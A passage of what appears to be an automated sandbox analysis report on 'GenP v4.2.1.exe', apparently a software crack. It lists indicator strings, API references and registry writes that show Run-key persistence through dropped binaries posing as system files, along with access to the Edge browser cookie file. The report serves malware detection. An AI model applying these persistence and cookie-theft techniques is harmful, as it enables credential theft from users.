%PROGRAMFILES%\(x86)\Common Files\Adobe\AdobeGCClient\AGMService.exe.bak (UID: 00000000-00007688)52:T1a63,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00006656.00000002.261062.008C1000.00000020.mdmp") Found string "ECDSA/SHA384" (Indicator: "ecdsa"; Source: "00000000-00001656.00000001.256170.01812000.00000004.mdmp, 00000000-00001656.00000001.256170.0182B000.00000004.mdmp, 00000000-00001656.00000001.256170.01861000.00000004.mdmp, 00000000-00001656.00000002.257253.0182B000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001656.00000001.256170.0182B000.00000004.mdmp, 00000000-00001656.00000002.257253.0182B000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00001656.00000001.256170.0184A000.00000004.mdmp, 00000000-00001656.00000001.256170.01861000.00000004.mdmp, 00000000-00001656.00000002.257253.01847000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.070E2000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp, 00000000-00006656.00000002.261062.070E2000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp, 00000000-00006656.00000001.260210.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.08110000.00000004.mdmp, 00000000-00006656.00000002.261062.082A0000.00000004.mdmp, 00000000-00006656.00000002.261062.082C0000.00000004.mdmp, 00000000-00006656.00000002.261062.082D0000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp, 00000000-00006656.00000001.260210.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.08110000.00000004.mdmp, 00000000-00006656.00000002.261062.082A0000.00000004.mdmp, 00000000-00006656.00000002.261062.082C0000.00000004.mdmp, 00000000-00006656.00000002.261062.082D0000.00000004.mdmp") Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostream"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostreammode"; Source: "00000000-00006656.00000001.260210.08090000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00006656.00000001.260210.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.080A0000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00006656.00000001.260210.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.080A0000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00006656.00000001.260210.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.080A0000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00006656.00000001.260210.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.080A0000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00006656.00000001.260210.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.080A0000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00006656.00000001.260210.080A0000.00000004.mdmp, 00000000-00006656.00000002.261062.080A0000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256factory" (Indicator: "aes"; Source: "00000000-00006656.00000001.260210.08300000.00000004.mdmp, 00000000-00006656.00000002.261062.08300000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256factory" (Indicator: "aes256"; Source: "00000000-00006656.00000001.260210.08300000.00000004.mdmp, 00000000-00006656.00000002.261062.08300000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256encryptionkey" (Indicator: "aes"; Source: "00000000-00006656.00000001.260210.08300000.00000004.mdmp, 00000000-00006656.00000002.261062.08300000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256encryptionkey" (Indicator: "aes256"; Source: "00000000-00006656.00000001.260210.08300000.00000004.mdmp, 00000000-00006656.00000002.261062.08300000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256algorithm" (Indicator: "aes"; Source: "00000000-00006656.00000001.260210.08300000.00000004.mdmp, 00000000-00006656.00000002.261062.08300000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256algorithm" (Indicator: "aes256"; Source: "00000000-00006656.00000001.260210.08300000.00000004.mdmp, 00000000-00006656.00000002.261062.08300000.00000004.mdmp") Found string "sqlaes256cbcalgorithm" (Indicator: "aes"; Source: "00000000-00006656.00000001.260210.08300000.00000004.mdmp, 00000000-00006656.00000002.261062.08300000.00000004.mdmp") Found string "sqlaes256cbcalgorithm" (Indicator: "aes256"; Source: "00000000-00006656.00000001.260210.08300000.00000004.mdmp, 00000000-00006656.00000002.261062.08300000.00000004.mdmp")53:Ta25,Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "Genp v4.2.1.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "Genp v4.2.1.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "Genp v4.2.1.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "Genp v4.2.1.exe") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "Genp v4.2.1.exe") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "Genp v4.2.1.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "Genp v4.2.1.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "Genp v4.2.1.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp")54:Tda9,Found reference to API "GetTempPath" (Indicator: "GetTempPath"; File: "Genp v4.2.1.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "Genp v4.2.1.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "Genp v4.2.1.exe") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "Genp v4.2.1.exe") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; File: "Genp v4.2.1.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "Genp v4.2.1.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "Genp v4.2.1.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "Genp v4.2.1.exe") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "Genp v4.2.1.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "Genp v4.2.1.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "Genp v4.2.1.exe") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "Genp v4.2.1.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "Genp v4.2.1.exe") file/memory contains long string with (Indicator: "GetTempPath"; File: "AMSI") Found reference to API "$tempPath = [System.IO.Path]::GetTempPath()" (Indicator: "GetTempPath"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "wGetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp")55:T4bc,Found string "Select Name from Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00001656-00002714-3013981347") Found string "select Name from Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00001656-00002714-3014626719") Found string "select Name from Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00001656-00002714-3014626719") Found string "select * from Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00001656-00002714-3015131758") Found string "select TotalPhysicalMemory from Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001656-00002714-3015594180") Found string "instance of Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00001656.00000002.257253.0182B000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "instance of Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "stance of Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp")56:T13c4,Found string "\Device\HarddiskVolume3\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\GenP-v4.2.1.exe" (Indicator: "\Device\"; Source: "00000000-00006860-00000BC0-2965412397") Found string "\Device\HarddiskVolume3\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\svchost.exe" (Indicator: "\Device\"; Source: "00000000-00006860-00000BC0-2965568285") Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00007688-00000BC0-2979754398") Found string "%WINDIR%\System32\drivers\etc\hosts.bak" (Indicator: "\drivers\"; Source: "00000000-00007688-00000C2E-36291468010") Found string "%WINDIR%\System32\drivers\etc\hosts.bak" (Indicator: "system32\drivers"; Source: "00000000-00007688-00000C2E-36291468010") Found string "\Device\HarddiskVolume3\Users\%OSUSER%\AppData\Local\Programs\OSPPSVC.EXE" (Indicator: "\Device\"; Source: "00000000-00001656-00000BC0-3017345919") Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00000788-00000BC0-2979954400") Found string "\Device\HarddiskVolume3\Windows\System32\certutil.exe" (Indicator: "\Device\"; Source: "00000000-00000788-00000BC0-2980444095") Found string "\Device\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\OSPPSVC.EXE" (Indicator: "\Device\"; Source: "00000000-00005880-00000BC0-3030620094") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001656.00000000.254252.01812000.00000004.mdmp, 00000000-00001656.00000000.254252.03800000.00000004.mdmp, 00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.01812000.00000004.mdmp, 00000000-00001656.00000001.256170.03800000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.01812000.00000004.mdmp, 00000000-00001656.00000002.257253.0182B000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp, 00000000-00001656.00000002.257253.03800000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001656.00000000.254252.01812000.00000004.mdmp, 00000000-00001656.00000000.254252.03800000.00000004.mdmp, 00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.01812000.00000004.mdmp, 00000000-00001656.00000001.256170.03800000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.01812000.00000004.mdmp, 00000000-00001656.00000002.257253.0182B000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp, 00000000-00001656.00000002.257253.03800000.00000004.mdmp") Found string "BootDevice = "\\Device\\HarddiskVolume1";" (Indicator: "\Device\"; Source: "00000000-00001656.00000002.257253.0182B000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005740.00000000.258418.01400000.00000004.mdmp, 00000000-00005740.00000000.258418.03550000.00000004.mdmp, 00000000-00005740.00000001.258505.01400000.00000004.mdmp, 00000000-00005740.00000001.258505.03550000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005740.00000000.258418.01400000.00000004.mdmp, 00000000-00005740.00000000.258418.03550000.00000004.mdmp, 00000000-00005740.00000001.258505.01400000.00000004.mdmp, 00000000-00005740.00000001.258505.03550000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00006656.00000000.258291.02B20000.00000004.mdmp, 00000000-00006656.00000000.258291.02CA0000.00000004.mdmp, 00000000-00006656.00000000.258291.02DD0000.00000004.mdmp, 00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.02DD0000.00000004.mdmp, 00000000-00006656.00000001.260210.070E2000.00000004.mdmp, 00000000-00006656.00000001.260210.08850000.00000004.mdmp, 00000000-00006656.00000002.261062.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02DD0000.00000004.mdmp, 00000000-00006656.00000002.261062.070E2000.00000004.mdmp, 00000000-00006656.00000002.261062.07143000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00006656.00000000.258291.02B20000.00000004.mdmp, 00000000-00006656.00000000.258291.02CA0000.00000004.mdmp, 00000000-00006656.00000000.258291.02DD0000.00000004.mdmp, 00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.02DD0000.00000004.mdmp, 00000000-00006656.00000001.260210.070E2000.00000004.mdmp, 00000000-00006656.00000001.260210.08850000.00000004.mdmp, 00000000-00006656.00000002.261062.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02DD0000.00000004.mdmp, 00000000-00006656.00000002.261062.070E2000.00000004.mdmp, 00000000-00006656.00000002.261062.07143000.00000004.mdmp")57:T835,Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "Genp v4.2.1.exe") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "Genp v4.2.1.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "Genp v4.2.1.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "Genp v4.2.1.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "Genp v4.2.1.exe") Found reference to API "CopySid" (Indicator: "CopySid"; File: "Genp v4.2.1.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "Genp v4.2.1.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "Genp v4.2.1.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "Genp v4.2.1.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "Genp v4.2.1.exe") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "Genp v4.2.1.exe") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "Genp v4.2.1.exe") Found reference to API "GetAce" (Indicator: "GetAce"; File: "Genp v4.2.1.exe") Found reference to API "AddAce" (Indicator: "AddAce"; File: "Genp v4.2.1.exe") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "Genp v4.2.1.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp")58:Tb24,"Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\PROGRAMDATA\MICROSOFT\WINDOWS\WER\TEMP\C43862135138\GENP-V4.2.1.EXE"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\PROGRAMDATA\MICROSOFT\WINDOWS\WER\TEMP\C43862135138\SVCHOST.EXE"; Value: "") "GenP-v4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")59:T5ae2,"GenP-v4.2.1.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "F10511469756DD010000000000000000000000000200000000") "svchost.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "DLLHOST"; Value: "%TEMP%\dllhost.exe") "svchost.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "OSPPSVC"; Value: "%LOCALAPPDATA%\Programs\OSPPSVC.EXE") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "OWNER"; Value: "F8160000E25D03719C56DD0100") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "BF97229891AF4D6D1CB8E495320F582F82FBBBF3C4314CEE27D2252B7AE5E7E700") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SEQUENCE"; Value: "0100000000") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILES0000"; Value: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "65DB9CFD2F181E6A03AC84A4CC705EA1840955ABB747031F3F495298896A2E6400") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "618CA09D7FC1B5713CC824C2A6C7A5049AFA76E7B891C20BC5760287DEC7995D00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "B66743E6B32A1D2F64362799D8AA1760C401B4392BCA71558DB4576F0000757400") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "BFF791F195FBCDEEE5F9F35BFE90259145536F1572EA84595885531FA7E12DFD00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "6A609E90B070548FA213E032BC0DA2C6A277EDC92913930E4281B3FBC5C97AC500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "40917E0E80EC87EF47F9D4F98A889EF5EBF4F5082BF868C75EE04DA5AE2BA1C500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "4A32A789B125FC30D7DA338CEFC8E04CE39A8C65794C87480DACB090CB46581600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "2EA5DC22E84146D2914BAC6E17C3CF400E67BA7882C7FEE26349906A4D6D345E00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "1DEF9A21D316878E93C2F4EC38D336F4339A42BEEB2A95B63A555C485E7BD5C000") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "8D3B3F46E746EB4A870E3E91213DA59AF0953D429D73D4BAAAB6B76F6BCA97F100") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "F606590500B1F65CF7DB94A30016BF14ECE540EE155E2385C8C7AD07EC00324700") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "78139DC5F08A557BC4AF777F9F611B355D4195B95158719E9E3E15BFD5FE140C00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: 